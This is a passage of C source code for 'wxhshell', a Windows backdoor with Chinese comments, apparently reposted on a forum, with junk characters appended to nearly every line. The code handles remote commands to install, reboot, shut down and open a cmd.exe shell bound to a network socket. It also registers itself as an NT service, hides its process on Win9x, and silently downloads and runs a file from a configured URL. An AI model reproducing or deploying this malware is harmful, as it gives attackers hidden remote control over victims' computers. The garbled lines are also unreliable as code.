  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C'jE'B5b  
  } |LNAd:0  
  else { ^(8(z@y  
/iekww^54  
    switch(cmd[0]) { L[FNr&  
  c|^#v8x^/  
  // 帮助 %.*?i9}  
  case '?': { hJ1:#%Qe.  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); XN1\!CM8  
    break; .TTXg,8#D  
  } rG|*74Q]  
  // 安装 b!Z-HL6  
  case 'i': { ,| EaW& 2  
    if(Install()) "Gh?hU,WWZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Tp0^dZM+  
    else tag~SG`ov  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /*8Ms`  
    break; r6*~WM|Sq7  
    } e)2s2y@zi  
  // 卸载 4-:TQp(  
  case 'r': { ` d[ja,  
    if(Uninstall()) }6V` U9 ^g  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); tu6Q7CjW8  
    else Q]}aZ4L  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); d;D8$q)8Q  
    break; h (`Erb  
    } pK~K>8\  
  // 显示 wxhshell 所在路径 Kqt,sJ  
  case 'p': { _,JdL'[d  
    char svExeFile[MAX_PATH]; ` E2@GX+,  
    strcpy(svExeFile,"\n\r"); ^SouA[  
      strcat(svExeFile,ExeFile); 1Goju ey  
        send(wsh,svExeFile,strlen(svExeFile),0); y-iuOzq4  
    break; \y G//  
    } $`&uu  
  // 重启 }.UE<>OX  
  case 'b': { iX{Lc+u3  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); _DK%-,Spu  
    if(Boot(REBOOT)) f;;(Q-.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3K57xJzK  
    else { aT %A<'O!  
    closesocket(wsh); u~9gR@e2{  
    ExitThread(0); L[Dr[  
    } FM3DJ?\L-  
    break; J c~{ E  
    } W1 qE,%cx  
  // 关机 ^&W(|R-,J&  
  case 'd': { KF"&9nB  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); >6(91J  
    if(Boot(SHUTDOWN)) P7Ws$7x  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); fQ^45ulz  
    else { k2xOu9ncEj  
    closesocket(wsh); 8W|qm;J98  
    ExitThread(0); |lijnfp  
    } : _>/Yd7-&  
    break; kR0d]"dr  
    } prC1<rm  
  // 获取shell }!-K)j.  
  case 's': { C>vp oCA  
    CmdShell(wsh); 9*+%Qt,{B  
    closesocket(wsh); )PU?`yLTr  
    ExitThread(0); #UcqKq  
    break; +([ iCL  
  } D4x~Vk%H  
  // 退出 x*A_1_A  
  case 'x': { Ifm|_  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 8tM40/U$  
    CloseIt(wsh); 0!c^pOq6  
    break; qe!\ oh  
    } S 'jH  
  // 离开 u*ZRU 4 U  
  case 'q': { fBptjt_  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); TqM(I[J7\  
    closesocket(wsh); etEm#3  
    WSACleanup(); =?} t7}#  
    exit(1); :n:Gr?  
    break; <MlRy%3Z  
        } Q]Fm4  
  } 'L w4jq  
  } z@nJ-*'U8  
S?bG U8R5  
  // 提示信息 Zjz< Q-  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); do2~LmeW  
} N|v3a>;*l  
  } n_Ht{2I  
2[W1EQI  
  return; 5y. n  
} Ri@`sc{n  
H}OOkzwrA  
// shell模块句柄 5Mfs)a4j.  
int CmdShell(SOCKET sock) cC_L4  
{ QPf#y7_@u  
STARTUPINFO si; W?a2P6mAh  
ZeroMemory(&si,sizeof(si)); rRN7H L+b  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; p:9)}y  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; KB$s7S"=  
PROCESS_INFORMATION ProcessInfo; GT[,[l  
char cmdline[]="cmd"; !H`Q^Xf}  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); BTXS+mvl  
  return 0; \4RVJ[2  
} qV%t[>  
#OKzJ"g  
// 自身启动模式 &95iGL28Q  
int StartFromService(void) s }]qlg  
{ sbZ$h <  
typedef struct 7a@%^G @!  
{ 17Q1Xa  
  DWORD ExitStatus; :>U2yI  
  DWORD PebBaseAddress; %z6.}4h  
  DWORD AffinityMask; zDbjWd  
  DWORD BasePriority; 1sL#XB$@N  
  ULONG UniqueProcessId; L~yu  
  ULONG InheritedFromUniqueProcessId; %-y%Q.;k ?  
}   PROCESS_BASIC_INFORMATION; %ec9`0^4S  
(o/HLmr@Y  
PROCNTQSIP NtQueryInformationProcess; S~QL x  
x~Eg ax  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; m@hmu}qz-  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; WKf->W  
'/^bO#G:  
  HANDLE             hProcess; 4~Ptn/ g  
  PROCESS_BASIC_INFORMATION pbi; =)Cqjp  
P=:mn>  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ?=:wIMV  
  if(NULL == hInst ) return 0;  =#N;ZG  
VZ?"yUZ Id  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); oyGO!j  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 3"O)"/"Q.  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); CKShz]1  
UXz0HRRS0  
  if (!NtQueryInformationProcess) return 0; B!|<<;Da6  
~c>*3*  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); C3n_'O  
  if(!hProcess) return 0; $2uZdl8Rvj  
 >:whNp  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; $MF U9<O  
)$#]h]ac  
  CloseHandle(hProcess); OW (45  
Ih*}1D)7  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ;$|[z<1RdW  
if(hProcess==NULL) return 0; wN[mU  
;2||g8'  
HMODULE hMod; -c-#1_X5  
char procName[255]; '-s Ai  
unsigned long cbNeeded; En:.U9?X  
bkQEfx.  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Vy;f4;I{  
[|ghq  
  CloseHandle(hProcess); ~f&lQN'1  
OI3UC=G  
if(strstr(procName,"services")) return 1; // 以服务启动 L&wJ-}'l  
gA)!1V+:  
  return 0; // 注册表启动 d\Xi1&&  
} rlEp&"+|M  
" gB.  
// 主模块 ?@U7tNI  
int StartWxhshell(LPSTR lpCmdLine) ,wJ#0?  
{ |1GR:b24  
  SOCKET wsl; *B 7+rd  
BOOL val=TRUE; $vNz^!zgV  
  int port=0; 2ZMYA=[!  
  struct sockaddr_in door; W=v4dy]B  
f\sxx!kt  
  if(wscfg.ws_autoins) Install(); wYtL1D(  
kG:,Ff>  
port=atoi(lpCmdLine); q=bW!.#?  
l MCoc'ae  
if(port<=0) port=wscfg.ws_port; _qg)^M6  
6iwIEb  
  WSADATA data; yvxdl=s  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; x0^O?UR  
x!klnpGp  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ZCJOh8  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 3.q%?S}*  
  door.sin_family = AF_INET; 1eC1Cyw  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); uJz<:/rwZ-  
  door.sin_port = htons(port); O) ks  
90)0\i+P  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { w ^ v*1KA&  
closesocket(wsl); 2Yd0:$a  
return 1; 'p=5hsG  
} "mbcZ5 _  
x{Y}1+Y4  
  if(listen(wsl,2) == INVALID_SOCKET) { 7XKPC+)1ya  
closesocket(wsl); Vv=/{31  
return 1; AV0m31b  
} nQuiRTU<  
  Wxhshell(wsl); IwC4fcZX6  
  WSACleanup(); 0be1aY;m&  
8spoDb.S  
return 0; 2@``=0z  
=M"H~;f]  
} iB[>uW  
tlw$/tMa  
// 以NT服务方式启动 ]>R|4K_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) yT Pi/=G  
{ QJc3@  
DWORD   status = 0; ~b+TkPU   
  DWORD   specificError = 0xfffffff; Qq;` 9-&j  
H`/Q hE  
  serviceStatus.dwServiceType     = SERVICE_WIN32; W=T3sp V  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; KlMrM% ;y  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; %} WSw~X  
  serviceStatus.dwWin32ExitCode     = 0; y2k '^zE  
  serviceStatus.dwServiceSpecificExitCode = 0; H=E`4E#k  
  serviceStatus.dwCheckPoint       = 0; [%(}e1T(  
  serviceStatus.dwWaitHint       = 0; ]M AB  
,-PzUR4_Kj  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Fw!wSzsk3  
  if (hServiceStatusHandle==0) return; Qmxe*@{`  
70,V>=aJ  
status = GetLastError(); Dm=t`_DL8  
  if (status!=NO_ERROR) ^|^ek  
{ :34#z.O  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ;seD{y7!  
    serviceStatus.dwCheckPoint       = 0; %4#,y(dO  
    serviceStatus.dwWaitHint       = 0; RXa&*Jtr -  
    serviceStatus.dwWin32ExitCode     = status; L(a&,cdh  
    serviceStatus.dwServiceSpecificExitCode = specificError; P( >*gp  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); w=EUwt  
    return; aEr<(x !|"  
  } ji(W+tQ2Y'  
6~8A$:  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 1{N73]-M:  
  serviceStatus.dwCheckPoint       = 0; 5b X*8H D  
  serviceStatus.dwWaitHint       = 0; !@mV$nTA  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); dkTj KV  
} T"1H%65`V  
<ijf':X=*  
// 处理NT服务事件,比如:启动、停止 1@Dp<Q  
VOID WINAPI NTServiceHandler(DWORD fdwControl) K8NoY6  
{ u"IYAyzL  
switch(fdwControl) j .Ro(0%  
{ hS]g^S==2h  
case SERVICE_CONTROL_STOP: [r'PGx  
  serviceStatus.dwWin32ExitCode = 0; Y1a[HF^-  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ,bT|:T@ny  
  serviceStatus.dwCheckPoint   = 0; M,]C(f>  
  serviceStatus.dwWaitHint     = 0; nU]n]gd  
  { B6)d2O9C  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); !mNXPqnN  
  } m&/{iCwp  
  return; IXb]\ )  
case SERVICE_CONTROL_PAUSE: } ).rD  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; RAMkTS  
  break; x)eYqH~i  
case SERVICE_CONTROL_CONTINUE: ,KvF:xqA  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Uc,D&Og  
  break; $qkV u  
case SERVICE_CONTROL_INTERROGATE: s%h|>l[lKT  
  break; 0r?975@A  
}; Oo'IeXQ9(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); zbHNj(~  
} q) %F#g  
"Y(stRa  
// 标准应用程序主函数 j^ L"l;m  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) MhMY"bx8  
{ )cA#2mlS'1  
Jy&O4g/'5  
// 获取操作系统版本 |J: n'}  
OsIsNt=GetOsVer(); z-<091,  
GetModuleFileName(NULL,ExeFile,MAX_PATH); >]N}3J}47g  
D BDHe-1[+  
  // 从命令行安装 *0>![v  
  if(strpbrk(lpCmdLine,"iI")) Install(); ^Rr0)4ns  
Pw`26mB   
  // 下载执行文件 O@;;GJ  
if(wscfg.ws_downexe) { =zw=J p  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) S a5+_TW  
  WinExec(wscfg.ws_filenam,SW_HIDE); -dXlGOD+C  
} 5\RTy}w3x  
L:$kd `v[  
if(!OsIsNt) { KT1/PWa  
// 如果时win9x,隐藏进程并且设置为注册表启动 oej5bAi  
HideProc(); \lj.vzD-A  
StartWxhshell(lpCmdLine); MfNxd 6w  
} V1Yab#  
else :1h1+b@,  
  if(StartFromService()) S~BBBD  
  // 以服务方式启动 SMHQo/c r  
  StartServiceCtrlDispatcher(DispatchTable); MD(?Wh  
else [J0f:&7\  
  // 普通方式启动 nY(>|!  
  StartWxhshell(lpCmdLine); eF]`?AeWQ  
P{ YUW~  
return 0; Vfkm{*t)  
}
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只看该作者 1 发表于: 2006-10-10
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